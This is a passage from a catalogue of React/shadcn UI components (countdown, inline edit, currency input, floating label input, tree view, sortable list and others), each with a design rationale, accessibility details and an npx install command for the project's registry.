install one rather than write a setInterval is that the obvious version counts instead of looking. Decrementing a stored number once a second drifts, and it drifts in the direction that matters: a browser throttles a background tab's timers to once a minute or slower, so a tab left open on a sale page comes back reading minutes high and claims time that is already gone. Every tick here recomputes from the target and a fresh Date.now(), so a throttled tab, a laptop waking from sleep and a slow frame all self-correct on the next tick rather than accumulating. onComplete is keyed to the deadline it fired for, so changing the interval — or any re-render that re-arms the timer — cannot fire it twice for the same moment, while giving it a new `to` still can; an invalid date renders nothing instead of NaN. It is SSR/hydration-safe (server and first client render agree, then a real clock takes over) and accessible: role=timer with an aria-atomic sr-only sentence ("2 days, 14 hours, 33 minutes remaining") while the visual segments are aria-hidden, so a screen reader can read the state on demand without being spammed each second. Tune the tick with interval (100 for smooth, 60000 for minute-only) and swap the finished view with completedLabel. shadcn/ui ships no countdown or timer component of any kind. Within pulld it is the future-facing counterpart to time-ago, which labels a moment in the past; it is distinct from idle-timeout, whose deadline moves every time the user does something, where this one runs to a fixed moment everybody shares; and the span it counts down is the value duration-input collects. Depends only on your cn util — no date library, no extra packages.

npx shadcn@latest add https://pulld.pages.dev/r/countdown.json
Project name

Inline Edit

Click-to-edit text that stays where it is: a value shown as plain text with a pencil affordance that swaps to an input in the same spot when activated, commits on Enter or blur, and reverts on Escape — no dialog, drawer or separate edit form. Reach for it wherever one field is edited far more often than the rest of the record: renaming a project, board, list, folder, file or column header, a kanban or issue card title, a document or dashboard name, a cell in a table or data grid, a display name, bio or label in profile and settings, an environment or API key nickname, a saved view or filter name, a playlist or collection title. Common asks it answers: "inline edit react", "click to edit text", "edit in place", "editable text component", "editable label", "rename inline", "inline rename react", "double-click to rename", "contenteditable alternative", "react-contenteditable alternative", "editable table cell react", "inline edit input shadcn", "shadcn editable text", "notion-style inline editing", "click to edit title". Official shadcn/ui has nothing in this area, and it is worth stating precisely: across all 63 of its components the words contentEditable, editable, dblclick, rename, select() and setSelectionRange do not appear once, and its input is a twenty-line bare <input> with no state of any kind. So what gets written inline is an Input plus a boolean, and the boolean is where the bugs are. The one nobody catches is focus. Enter and Escape unmount the input while it still holds focus, so focus falls to <body>, and the next Tab restarts at the top of the page — the user renames a card, presses Enter, presses Tab, and is somewhere in the site header. Here a keyboard exit hands focus back to the trigger it came from, while a blur exit deliberately does not, because focus has already gone where the user put it. The trigger is a real <button>, so it is in the tab order and opens on Enter or Space; a <div onClick> version, which is what gets hand-rolled, is invisible to the keyboard entirely. The input focuses and selects itself on entry so typing replaces the value rather than appending to it. onSave is called with the trimmed draft and only when it actually differs from the value — clicking in and back out fires nothing, which matters because in a real app that callback is a network request and a row in an audit log, once per stray click. Escape restores the original, and the draft is re-seeded from value on every entry, so reopening after a cancel does not show the abandoned text. An empty value renders muted placeholder text rather than a zero-width button nobody can find and click. Both halves are named for a screen reader — "Edit {label}" on the trigger and {label} on the input — because the visible text that named the field is exactly what disappears when it becomes an input. saveOnBlur (default true) is the switch between committing on blur and requiring an explicit Enter, which is the right choice when the save is expensive or destructive. What it deliberately is not: it is an <input>, so it is single line — reach for a textarea for a description — and onSave is fire-and-forget, with no pending or error state of its own, so wrap it if the save can fail. Within pulld it is distinct from copy-field, which is a read-only value beside a copy button, from floating-label-input and autosize-textarea, which are form fields that are always fields, and from slug-input, which transforms as you type. Controlled through value + onSave; disabled leaves the tab order; every colour is a shadcn token (input, accent, ring, muted-foreground) so it follows light and dark; one file, one lucide icon, no other dependency.

npx shadcn@latest add https://pulld.pages.dev/r/inline-edit.json

Autosize Textarea

A textarea that grows as you type and stops at a maximum height, then scrolls. Reach for it wherever a fixed-height box is the wrong shape: a chat, message or AI prompt composer; a comment, reply or code-review box; a commit message or pull-request description; a bio, note, changelog, release note or feedback field; a support ticket or contact form; a task or issue description; and any "tell us more" field where one line is too small and a tall empty box wastes the page. Common asks it answers: "auto resize textarea", "auto-growing textarea", "expanding textarea react", "textarea that grows with content", "auto height textarea", "textarea min rows max rows", "chat input that expands", "message composer textarea", "prompt input that grows", "ChatGPT-style input react", "shadcn autosize textarea", "shadcn textarea auto grow", "react-textarea-autosize alternative", "autosize textarea without a library", "textarea scrollHeight resize", "growing text input component". shadcn/ui's own textarea is a fixed-height styled element with a drag handle in the corner; this replaces that behaviour, and turns the handle off, because the height is now the field's own business. minRows sets the height it sits at when empty, maxRows caps the growth before it starts scrolling. The reason to install it rather than paste the four-line version is that the four-line version is subtly wrong in three ways that only show up on somebody else's screen. It measures a row from the element's real computed line-height — and falls back to the font size where that computes to "normal", which is what it computes to unless you set it explicitly, and which parses to NaN and produces a field with no height at all. It adds the border back on a border-box element, because scrollHeight counts content and padding but not border, so the naive arithmetic is short by a pixel or two on every keystroke and the field creeps. And it watches the element rather than the window, so the height is recomputed when a collapsing sidebar, an opening drawer, a resizing split pane or a tab becoming visible rewraps the text — none of which fire a window resize — while deliberately ignoring height changes, since reacting to its own writes would feed the observer straight back into itself. It renders at roughly the right height before hydration through the rows attribute, so there is no first-paint jump in Next.js, and it is correct controlled or uncontrolled: a controlled field re-measures on the value it is given, an uncontrolled one on its own input. It keeps the native <textarea> and forwards a ref to it, so labels, placeholders, autofocus, maxLength, form libraries such as react-hook-form, and native validation all work unchanged. Styled with shadcn tokens (border-input, ring, muted-foreground) so it follows light and dark, and it ships zero dependencies beyond your own cn util — no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/autosize-textarea.json
$1,234.50

Currency Input

A money input that shows a grouped, currency-formatted amount ($1,234.50) when idle and the raw number while you're editing, so the cursor never fights the thousands separators or symbol. Use it in any form that takes an amount: a price or product cost field, an invoice/quote line item, a budget/limit/goal, a donation, tip, or payment amount, a salary or rate field, an expense entry, or a checkout total. Common asks it answers: "currency input react", "money input react", "price input field", "shadcn currency input", "shadcn money field", "formatted amount input", "thousands separator input react", "comma formatted number input", "dollar input react", "euro input field", "yen input no decimals", "react-currency-input-field alternative", "react-number-format alternative", "cleave.js money alternative", "Intl.NumberFormat input", "input value 1234.5 show 1,234.50", "cursor jumps to end when typing in formatted input", "caret jumps while typing money", "thousands separator breaks my input", "cannot type a decimal point in number input", "input type=number strips leading zeros", "input type=number scroll wheel changes the amount", "de-DE comma decimal input", "1.234,50 parsed as 1.234", "pasted $ sign breaks the value", "how to round money on blur", "store cents or dollars in state", "react-hook-form currency field", "金額入力 react", "通貨 入力欄 カンマ区切り", "3桁区切り 入力 カーソル 飛ぶ". Official shadcn/ui ships no currency or money field, and the gap is measured rather than assumed: fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source, currency, NumberFormat, minimumFractionDigits, inputMode and decimal are every one of them zero hits. The only near-misses are two toLocaleString calls — the calendar formatting a month name, and a chart tooltip printing a number — and two tabular-nums classes in that same tooltip and the sidebar's badge. Its Input is a styled element with no formatting in it, so you would otherwise bolt masking onto it by hand; this packages it: value/onValueChange work in plain numbers (major units, e.g. 1234.5), not strings, so there's no parsing on your side, and it commits the rounded number on blur to the currency's own precision. The symbol, grouping, symbol placement, and decimal places come from Intl.NumberFormat via the `currency` (ISO 4217, default USD) and `locale` (default en-US) props, so $/€/¥ and 2-decimal vs 0-decimal (JPY) currencies all render correctly with no hardcoding. Typing follows that same locale, so comma-decimal locales (de-DE, fr-FR) accept "1.234,50" and "1234,50" rather than silently misreading them, and grouping characters or a pasted currency symbol are ignored; set allowNegative for refunds or adjustments. It stays controlled or uncontrolled like a native input, forwards a ref to the real <input> (so <Label htmlFor>, name, placeholder, and form libraries like react-hook-form all work), uses inputMode="decimal" for a numeric mobile keypad, and is styled with shadcn tokens (border-input, ring, muted-foreground, tabular-nums) for automatic light/dark theming with no extra dependencies beyond your cn util. Distinct from number-input, which is a stepper for counts/quantities with +/− buttons; this one is for formatted money. Within pulld it is the money end of the field family: number-input counts things, currency-select picks which currency an amount is in (pair them for a multi-currency form), masked-input holds a fixed shape like a card or postal code rather than a number that grows, and pricing-card is where an amount is displayed rather than entered.

npx shadcn@latest add https://pulld.pages.dev/r/currency-input.json
jane@acme.co
Email

Floating Label Input

A text input whose label sits inside the field like a placeholder, then shrinks and floats up to straddle the top border the moment the field is focused or holds a value — the Material "outlined" text field, as one accessible input with no animation library behind it. Reach for it wherever a column of labels above a column of boxes would double the height of the form: a login, sign-up or password-reset form, a checkout or billing address, a settings, profile or account page, a dense admin or CRM record, a filter panel or sidebar, a modal or drawer with a handful of fields, an onboarding step, and any mobile form where vertical space is the scarce thing. It is also the shape people expect from a form that has to look like Material, MUI or Vuetify while being built on shadcn. Common asks it answers: "floating label input", "floating label react", "shadcn floating label", "shadcn input with floating label", "animated label input", "label moves up on focus", "placeholder that becomes a label", "material outlined text field tailwind", "MUI TextField equivalent shadcn", "notched outline input", "tailwind floating label", "peer-placeholder-shown", "placeholder-shown not working", "floating label without javascript", "css only floating label", "floating label breaks on autofill", "label overlaps autofilled text", "floating label accessibility", "is a floating label a real label", "compact form fields react", "フローティングラベル react", "ラベルが浮き上がる入力欄", "label inside the input", "input with the label inside the box", "shrink label on focus", "outlined input react", "material text field react", "material ui style input tailwind", "floating label with react-hook-form", "floating label next.js", "floating label tailwind v4", "floating label input without a library", "space-saving form fields", "dense form react", "入力欄の中にラベル", "ラベルが縮んで枠線に重なる入力". Official shadcn/ui has nothing of the kind, and the gap is wider than "no such component". Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s) and grepping the sources: placeholder-shown is a zero hit across every one of them. Its input is 768 bytes of styled element. Its label is 724 bytes whose only peer- rule is peer-disabled — it styles a label that sits above a field, never one that moves into it. Its field kit stacks label, control and description vertically, which is the layout this replaces rather than a version of it. The eight matches for "floating" in the whole registry are sidebar's variant="floating", a rounded panel with a shadow. So an agent asked for this writes the CSS itself, and the CSS has one trap in it. The trap is that :placeholder-shown only matches while a placeholder is actually being shown, and an input with no placeholder attribute is never showing one. Write the obvious peer-[:not(:placeholder-shown)] rule against a field labelled only by the floating label, and the selector matches nothing, the label sits floated from the first paint, and the field looks permanently filled. The fix is the part that looks like a mistake in the source: the input carries placeholder=" ", one space, painted transparent — a placeholder that exists so the selector has something to track, and shows nothing because the label is standing where it would be. It is also why placeholder is the one native prop this component does not forward; accepting one would silently break the mechanism at the call site rather than here. Everything else follows from the float being CSS rather than state. There is no onFocus/onBlur pair and no isFilled boolean, so it is correct controlled or uncontrolled, correct on the server and before hydration with no first-focus jump, and correct after browser autofill — the case that catches JS implementations, because Chrome fills the value without firing the events a hand-rolled version is listening for and the label stays sitting on top of the filled text. It also survives a value arriving from anywhere else: a form library resetting the field, a draft restored from storage, a paste. It stays a real input with a real label. The label is a <label htmlFor> rather than an absolutely positioned span, so screen readers announce the field by name, clicking the label focuses the input, and voice control can address it — where a fake overlay leaves the input nameless. The id defaults to a stable React.useId() so the association holds without you inventing one, and the ref is forwarded to the <input> itself, so type, name, value/onChange, required, disabled, autoComplete, maxLength, native validation and react-hook-form all work unchanged. error paints the destructive border, ring and label and sets aria-invalid, so an invalid field is not signalled by colour alone once you pair it with a message. One thing worth knowing before you drop it onto a coloured surface: the label breaks the border line by painting bg-background behind itself, which is right on the page and wrong on a card or a tinted panel, where that one class becomes bg-card. The component is copied into your project, so it is a one-word edit — but it is the sort of thing that is easier to read here than to notice on screen. Within pulld it is the compact form field the others sit next to: password-input adds the reveal toggle, search-input the clear affordance, char-counter the length underneath, and form-error-summary collects what these fields report. One file, zero dependencies — no animation library, no Radix, no icons — and every colour is a shadcn token (border-input, ring, background, muted-foreground, destructive), so light and dark follow on their own.

npx shadcn@latest add https://pulld.pages.dev/r/floating-label-input.json
3selectedDeleteClear

Bulk Action Bar

The bar that appears once rows are selected in a table or list — it shows "3 items selected", holds your bulk actions (delete, archive, export, assign, move, approve, mark as read) as children, and gives the user a way out of selection mode. Use it with any multi-select surface: a data table with row checkboxes, an admin users/orders/invoices/subscriptions list, a file manager or media library, an inbox, a moderation or approval queue, a CRM contact list, a photo grid, or a mobile-style edit mode. Common asks it answers: 'bulk action bar', 'bulk actions toolbar', 'selection toolbar', 'batch actions', 'n selected bar', 'contextual action bar', 'what to show when table rows are checked', 'react bulk actions component', 'table row selection toolbar react', 'shadcn data table bulk actions', 'tanstack table selected rows toolbar', 'react-table bulk actions', 'show toolbar when checkbox is selected react', 'select all rows then delete react', 'batch delete ui react', 'bulk edit bar react', 'multi select toolbar react', 'gmail style selection bar', 'floating action bar for selected items', 'sticky bottom bar with selected count', 'how many rows selected component', 'clear selection button react', 'exit selection mode react', 'admin table bulk operations', 'selected count aria live'. shadcn/ui ships no such component — its data-table recipe leaves selected-row UI entirely to you; this packages the part everyone rewrites. It drops straight onto that recipe: pass table.getFilteredSelectedRowModel().rows.length as count and table.resetRowSelection as onClear, and nothing else has to change. It hides itself at count 0, so you render it unconditionally and just pass the selected count. The count is announced to screen readers from a live region that stays mounted even at zero (a live region inserted together with its text is not reliably announced, so a bar that unmounts completely would swallow the first update), and the visible count is aria-hidden to avoid a double read. Escape clears the selection, ignoring already-handled key presses so a dialog opened from one of your actions still closes normally. It is a labelled region, not an ARIA toolbar, because a toolbar is expected to implement roving-tabindex arrow navigation and claiming the role without it reads worse than plain tab order. Pass variant="floating" (default) for a pinned bar above the page bottom or "inline" to sit in the flow above the table; itemName/itemNamePlural handle the noun and irregular plurals, clearLabel renames the exit control, and label names the region itself. Styled with shadcn tokens (background, border, muted-foreground, accent, ring) for automatic light/dark theming, with zero dependencies beyond your cn util. Distinct from toast, which reports a result after the fact; this one hosts the actions themselves.

npx shadcn@latest add https://pulld.pages.dev/r/bulk-action-bar.json
Saving…Saved 2 min ago

Save Status

composes time-ago

The small inline "Saving… / Saved 2 minutes ago / Couldn't save · Retry" indicator that sits beside an autosaving surface, and the announcement that goes with it. Use it wherever edits persist in the background instead of behind a Save button: a document, note or rich-text editor (Tiptap, ProseMirror, Lexical, Slate, Quill), a code editor pane (Monaco, CodeMirror), a settings, profile or account page that saves on blur, a draft post, email or message composer, a form with debounced autosave, a spreadsheet-style inline-edit table, a kanban card or CRM record, a form builder, page builder or design canvas, a collaborative document backed by a CRDT (Yjs, Automerge, Liveblocks), and anything wired to a background mutation — a TanStack Query mutation's isPending and isError, a Next.js server action behind useActionState or useFormStatus, react-hook-form with autosave, tRPC, SWR, Convex, Firebase or Supabase writes. Common asks it answers: "autosave indicator", "saving spinner next to the title", "all changes saved", "changes saved automatically", "draft saved status", "last saved timestamp", "saving saved error state", "Google-Docs-style save state", "Notion-style saving indicator", "how to show saving/saved/error", "autosave status react", "save state component", "shadcn autosave indicator", "shadcn save status". Official shadcn/ui ships nothing for this, and the parts that look close are all a different shape: sonner and toast pop a transient message after an action and then leave, so nothing on screen still says the document is saved a minute later; spinner covers a single in-flight request and has no resting, saved or failed state; badge renders a label but carries no state machine, no relative time and no live region; and field and message report validation on a control rather than the fate of a background write. You pass one `status` prop (idle | saving | saved | error). idle renders nothing visible, so it can be rendered unconditionally and simply mirror your mutation state rather than being mounted and unmounted around it. Pass `savedAt` and "Saved" is followed by a live relative timestamp that keeps itself fresh — it composes the time-ago component instead of freezing a string that goes stale while the tab sits open, which is the first thing a hand-rolled one gets wrong. Pass `onRetry` and the error state grows a Retry button. Every label (savingLabel, savedLabel, errorLabel, retryLabel) is overridable for i18n. Accessibility is the fiddly part, and it is the reason to take this rather than write it. The wording lives in an always-mounted role="status" region, so the very first transition is actually announced — a region that mounts at the same moment as its text is registered too late and its first "Saving…" is dropped silently, which is exactly what conditional rendering produces. The ticking timestamp and the Retry label sit outside that region on purpose: inside it, the timer would make the page announce "Saved 3 minutes ago" every minute, unprompted, for as long as the tab is open. And it stays polite rather than assertive even for failures, because aria-live is honoured at registration time and a failed autosave should not cut across someone mid-sentence. Distinct from toast, which is a transient notification after an explicit action, and from spinner and loading-button, which cover one request in flight: this is the persistent, resting status of a background save. Styled with shadcn tokens (muted-foreground, destructive, ring) so it follows light and dark themes; it composes time-ago and uses lucide-react for its icons.

npx shadcn@latest add https://pulld.pages.dev/r/save-status.json
2 problemsEnter your emailChoose a password

Form Error Summary

The block that appears above a form after a failed submit — "There are 3 problems with your submission" followed by one link per error that jumps focus straight to the field it came from. Use it on any form long enough that the broken field can be off screen: signup and checkout, account or billing settings, a multi-step wizard, an onboarding or application form, an admin create/edit page, or anywhere a server action returns field errors. Common asks it answers: "error summary", "validation summary", "show all form errors at the top", "list validation errors with links to fields", "focus the first invalid field on submit", "accessible form errors", "GOV.UK-style error summary", "react-hook-form errors object to a summary". shadcn/ui's form ships per-field messages only — the summary, the focus move, and the field links are left to you, and they are the parts that decide whether a keyboard or screen-reader user can actually find what broke. Pass an `errors` array of `{ fieldId, message }` mapped straight from react-hook-form's formState.errors, a zod flatten(), or a server action's fieldErrors; an empty array renders nothing, so it can sit in the JSX unconditionally. Give it `focusKey={formState.submitCount}` and a second submit that fails identically still announces. Accessibility is the whole point: it announces by moving focus to a container labelled by its heading, rather than through a live region — a live region reads the messages but leaves focus behind, so the links the user needs are somewhere they must go hunting for, and doing both reads everything twice. Each message links to its field and focuses it on click, falling back to the first focusable control inside when the id names a wrapper (radio group, checkbox group, custom combobox); errors with no fieldId render as plain text for form-level failures like a declined card. The container uses a plain focus ring, not focus-visible, because focus arrives programmatically and browsers do not reliably paint it otherwise. headingLevel keeps the heading in your page outline. Styled with shadcn destructive/ring tokens for light and dark themes; lucide-react is the only dependency. Distinct from toast, which pops a transient message, and from an inline field message, which only helps once you have already found the field.

npx shadcn@latest add https://pulld.pages.dev/r/form-error-summary.json
Type acme-prod
acme-pro
Delete

Type-to-Confirm

The confirmation step in front of an irreversible action: the user has to type the resource's own name ("acme-prod") before the destructive button turns on. Use it wherever a misclick would be unrecoverable — deleting a project, repository, workspace, organisation, cluster, database, or environment, removing a team member, revoking an API key, wiping data, cancelling a subscription, or any "danger zone" section of a settings page. Common asks it answers: "type to confirm", "type the project name to delete", "type DELETE to confirm", "confirm delete by typing name", "GitHub-style delete confirmation", "danger zone dialog", "destructive action modal", "disable the delete button until the name matches". shadcn/ui ships alert-dialog as an empty shell — the typed match, the disabled-until-it-matches wiring, and the announcement are left to you every time; this packages them into one drop-in that sits inside your existing dialog or card, so nothing here assumes which official components you have installed. Pass `phrase` (the name) and `onConfirm`; both sides are trimmed before comparing, so a pasted name that picked up a trailing space still matches, and an empty phrase never matches, which stops an untouched field from arming a delete. Set `caseSensitive={false}` to let "delete" pass for "DELETE", and mirror your mutation with `pending` to lock the field and swap the button label. The field opts out of autocomplete, autocorrect, autocapitalisation, and spellcheck — on a phone the first letter would otherwise be capitalised and an exact match made impossible to type. The button is genuinely disabled rather than aria-disabled, which screen readers skip: nothing is lost by that, because the label states what to type, the description explains that the button is waiting for it, and an always-mounted live region announces the moment it turns on (a live region inserted together with its text is not reliably announced, so one that appeared only on match would swallow that update). It renders as a real <form>, so Enter submits and, inside a dialog, focus lands on the field on open with no extra wiring. Styled with shadcn tokens (border-input, destructive, muted-foreground, ring) for automatic light/dark theming, with zero dependencies beyond your cn util. Distinct from confirm-button, which is a two-step click for cheap, reversible actions; this is the high-friction guard for the ones you cannot take back.

npx shadcn@latest add https://pulld.pages.dev/r/type-to-confirm.json
Shortcuts×Search⌘KNew issueC

Keyboard Shortcuts

composes kbd

The help sheet that opens when the user presses ? — a modal listing every keyboard shortcut in the app, grouped by area, with the key caps drawn per platform. Use it as soon as an app has shortcuts worth discovering: an editor, inbox or mail client, issue tracker, admin dashboard, IDE-like tool, dev tool, chat or any keyboard-first product where power users expect ? to explain itself. Common asks it answers: "keyboard shortcuts dialog", "keyboard shortcuts modal", "shortcuts help sheet", "press ? to see shortcuts", "shortcut cheat sheet", "hotkey list", "keymap overlay", "GitHub/Gmail/Linear-style shortcuts help", "show all hotkeys", "⌘K help screen". shadcn/ui ships nothing for this and its kbd is a bare key cap, so the sheet, the grouping, the ?-to-open wiring and the cross-platform key rendering are hand-rolled every time. Pass a `shortcuts` array of `{ keys, description, group? }`; groups render in the order they first occur, so the array is the outline. Write `"Mod"` in keys and it renders ⌘ on Apple platforms and Ctrl everywhere else — one source of truth instead of a Mac branch through your docs — and the literal token `"then"` renders as text rather than a cap so chords read as G then P. It documents shortcuts rather than binding them: your app already owns the handlers, and a component that registered them too would fight whatever hotkey library you use. The only key it owns is the one that opens it, and that listener ignores presses while focus is in an input, textarea, select or contenteditable, so typing "?" in a message box does not throw a modal over the composer. Platform detection runs in an effect, not during render — `navigator` does not exist on the server, so an inline branch would crash SSR or hydrate to different markup than it sent. Accessibility is the part that is easy to get wrong: the key caps are aria-hidden and each row carries an sr-only spoken form, because a screen reader meeting ⌘ announces "place of interest sign" or nothing at all, so the row reads "Open search, Command K"; opening moves focus into the dialog, which is what announces it, instead of a live region that would read the whole sheet twice; Tab is trapped, Escape closes, focus returns to whatever was focused before, and the scrolling list is itself focusable so a long list can be scrolled from the keyboard. Composes the kbd component for the caps. Styled with shadcn tokens (popover, muted-foreground, ring, border) for light and dark themes; lucide-react is the only dependency. Distinct from command-palette, which is a ⌘K launcher for running commands: this one is the reference card that tells users the shortcuts exist.

npx shadcn@latest add https://pulld.pages.dev/r/keyboard-shortcuts.json
logo.png62%data.csv×

Upload List

The list of files under a dropzone or file picker — one row each with the file name, its size, a progress bar while it uploads, an error with a retry button when it fails, and an X to drop it from the queue. Use it on any screen that accepts files: an attachment picker, an image or avatar upload, a CSV/spreadsheet import step, a document or PDF upload, a bulk media drop, or an import wizard. Common asks it answers: "file upload list", "upload queue", "show selected files with progress", "file list with remove button", "upload progress bar per file", "attachment list", "retry failed upload", "Dropbox/Gmail-style upload rows". shadcn/ui ships nothing that tracks an upload: its attachment component renders a file that is already attached — media, title, actions — with no status, no progress and no retry, and its progress primitive is a single bar with no notion of a file, so the row layout, the byte formatting, the per-file progress and the failure affordance are hand-rolled every time. It pairs with the file-dropzone component, which hands you a File[] and deliberately stops there: this is the half that shows what happened to those files. Pass an `items` array of `{ id, name, size?, status, progress?, error? }` where status is pending | uploading | done | error; omit `progress` and the bar goes indeterminate for uploads with no known length, and an empty array renders nothing so you can mount it unconditionally next to your queue state. It is presentational on purpose and never uploads anything — you keep the requests, the concurrency, the cancellation and the retry policy, and pass `onRemove`/`onRetry` to get the buttons. Accessibility is where a queue usually goes wrong and this one is built around it: progress sits in a role=progressbar, which is not a live region, so a file crawling from 1% to 100% does not narrate every tick; instead an always-mounted role=status region announces only the rows that just finished or just failed, batched into one message per change; the first render is treated as the starting state, so a list that mounts with finished rows stays silent; and every remove/retry button carries the file name in its accessible name, because a column of buttons all called "Remove" is unusable without sight of the row. Sizes are formatted to KB/MB/GB with tabular numerals, long names truncate with a title tooltip, and it is styled with shadcn tokens (muted-foreground, destructive, primary, accent, ring) so it follows light and dark themes; lucide-react is the only dependency. Distinct from save-status, which is a one-line indicator for a single background save, and from progress-ring, which is one circular meter: this is the multi-file queue.

npx shadcn@latest add https://pulld.pages.dev/r/upload-list.json

Bento Grid

The asymmetric panel grid behind most modern feature sections: a set of cards on one grid where a few cells are deliberately two columns wide or two rows tall, so the section reads as a composition instead of a row of identical boxes. Use it for a landing page features section, a product tour, a "why us" grid, a homepage hero collage, a portfolio or an app-store style showcase. Common asks it answers: "bento grid", "bento box layout", "bento cards", "bento section", "bento blocks", "features bento", "grid layout with different sized cards", "Apple/Linear-style feature grid", "masonry-ish marketing grid", "asymmetric card grid". shadcn/ui ships no grid: the composition kits it does have — item, field, button-group, input-group — are flex rows that arrange the parts of one control or one row, and none of them lays tiles out across a page, so this grid is hand-rolled every time — and hand-rolling it fails in one specific way that is hard to spot: Tailwind only emits classes it can find written out in your source, so the natural `className={`col-span-${n}`}` compiles to nothing and every cell silently renders one column wide in the production build while looking correct in dev. This component keeps every span it can emit as a literal class in a lookup table, so `colSpan={2}` and `rowSpan={2}` survive the compiler. Two parts: `BentoGrid` takes `columns` (2, 3 or 4) and steps up from a single column on phones rather than fixing a track count, and `BentoGridItem` is the panel surface plus its span controls. Rows are sized minmax(11rem, auto) so equal cells line up and a tall cell is visibly twice the height; and because every layout is two columns at md and only widens at lg, each span is capped per breakpoint to the tracks that tier actually has — CSS Grid answers an over-wide span by adding an auto column, not by clamping it, and the first cell to land in that phantom column is sized by its own content. It is layout only and renders no card content of its own, so a cell can hold copy, an image, a chart or a feature-card. The grid deliberately does not use grid-auto-flow: dense — dense packing lets a later cell backfill an earlier gap, which leaves the Tab order and a screen reader reading the section in a different order than the eye sees it — and the cell is a plain div rather than a list item, so your own headings keep the document outline. No state, no effects and no "use client", so it renders as a server component, and it has zero npm dependencies; the surface uses shadcn tokens (card, card-foreground, border) so it follows light and dark themes. Distinct from feature-card, which is the icon/title/description content of one cell: this is the grid the cells sit on.

npx shadcn@latest add https://pulld.pages.dev/r/bento-grid.json
srcappindex.tspublic

Tree View

The nested list you can open, close and walk with the arrow keys: a file explorer or file tree, a folder or directory tree, a category or taxonomy picker, an org chart, an API-schema browser, a docs sidebar with nested sections. Common asks it answers: "tree view", "tree component", "file tree", "folder tree", "directory tree", "file explorer sidebar", "nested list with expand/collapse", "collapsible tree", "expandable folder list", "VS Code-style explorer", "category tree", "org chart tree". shadcn/ui ships no tree of any kind — its collapsible is one open/closed section and its sidebar nests menus without the tree semantics — so this gets hand-rolled every time, and the part that gets dropped is always the keyboard. Pass a `data` array of `{ id, label, children?, icon? }`: a node with a `children` array is a parent (an empty array is an empty folder, which still opens), a node without one is a leaf. Open state and selection are each controlled (`expandedIds` / `selectedId` plus `onExpandedChange` / `onSelect`, which hands you the whole node) or uncontrolled (`defaultExpandedIds` / `defaultSelectedId`), so it drops into a router-driven sidebar or runs on its own. It is the real ARIA tree pattern, not a pile of nested collapsibles: role=tree / treeitem / group with aria-expanded, aria-selected and aria-level/posinset/setsize, and a roving tabindex so the whole tree is one Tab stop instead of one stop per row. Up/Down walk only the rows actually on screen, Right opens a parent and then steps into it, Left closes it or jumps out to the parent, Home/End hit the ends, Enter/Space select, and type-ahead jumps to the next row starting with what you typed (repeat a letter to cycle). Three details that are easy to get wrong are handled: closing a subtree that contains the focused row hands focus back to the row being closed instead of dropping it on <body>; the row is named by its own label via aria-labelledby, because a treeitem owns its child group and a name computed from contents would read the entire subtree as one row's name; and the disclosure arrow is a click target rather than a nested <button>, since a treeitem must not contain its own focusable elements. Renders folder/file icons by default (`showIcons={false}` for category or org trees), `indent` sets the per-level offset, and per-node `icon` overrides a single row. Styled with shadcn tokens (accent, muted-foreground, ring) so it follows light and dark themes; lucide-react is the only dependency, with no Radix and no state library. Distinct from command-palette, which is a flat searchable launcher: this is for structure you navigate rather than a name you already know. Distinct from json-viewer, which takes the parsed JSON value itself and renders its keys, types and entry counts: reach for that one to display a payload you did not author, and this one when you have your own hierarchy to express as `{ id, label, children }` nodes.

npx shadcn@latest add https://pulld.pages.dev/r/tree-view.json

Sortable List

Drag-to-reorder list: grab a row's grip handle and drop it in a new place — and do the same thing from the keyboard, which is the half that is normally missing. Reach for it whenever the order itself is the data: reordering tasks or a to-do list, ranking priorities, choices or search results, arranging table columns, form fields or a form builder's questions, dashboard widgets, nav and sidebar links, playlist tracks, an image or gallery order, quiz question order, steps in a workflow, checklist or recipe, saved filters and views, a queue of jobs, and the cards inside one kanban column. Common asks it answers: "sortable list react", "drag and drop list react", "reorderable list", "drag to reorder", "drag handle list", "reorder items react", "draggable list order", "move item up and down", "shadcn drag and drop", "shadcn sortable", "sortable list without a library", "drag and drop with no dependencies react", "dnd-kit alternative", "@dnd-kit/sortable simpler", "react-beautiful-dnd replacement", "react-beautiful-dnd is deprecated what now", "react-sortable-hoc alternative", "SortableJS react", "framer-motion Reorder alternative", "accessible drag and drop react", "keyboard accessible reorder list", "drag and drop is not keyboard accessible", "screen reader drag and drop announcements", "aria-live drag and drop", "roving tabindex list", "html5 drag and drop does not work on touch", "drag to reorder on mobile", "reorder list with different row heights", "next.js drag and drop list", "並び替え ドラッグ react". Official shadcn/ui ships nothing that reorders, and it is not close: across all sixty-three of its registry entries (sixty-two fetchable; questionnaire is listed but 404s), sortable, draggable, dnd, reorder, dragstart, onDragStart and pointerdown are every one of them a zero hit — and so are aria-live and roving, which is the other half of the problem. So this gets hand-rolled each time, and the keyboard is what gets dropped, because a mouse-only reorder looks finished. Here the whole interaction works without a mouse: Tab reaches the list once through a roving tabindex, arrow keys walk it, Space or Enter picks a row up, arrows move the picked-up row, Space or Enter drops it, Escape puts it back where it started, and each step is spoken through an assertive live region ("Picked up Design review. Position 2 of 5."). Every announcement — the handle label, the instructions, and the grabbed, moved, dropped and cancelled sentences — is an overridable function, so it translates. Dragging is plain pointer events: no dnd-kit, no react-dnd, no HTML5 drag-and-drop. That is what makes touch work at all (the HTML5 API has never fired on a phone), and it is why rows of different heights land exactly where they look like they will — every row is measured once at the start of a drag and displaced with transforms rather than guessed at from a uniform row height. Controlled: pass items ({ id, label } plus whatever else you carry) and persist the array onReorder hands back; renderItem draws the row body beside the handle and is told the row's index and whether it is being dragged or grabbed, and itemClassName styles the row. Within pulld it is the ordering counterpart to upload-list and bulk-action-bar, which act on rows rather than arrange them, and to tree-view, which shows a hierarchy rather than a sequence. One file, and its only dependency is lucide-react for the grip icon.

npx shadcn@latest add https://pulld.pages.dev/r/sortable-list.json
Load more

Infinite Scroll

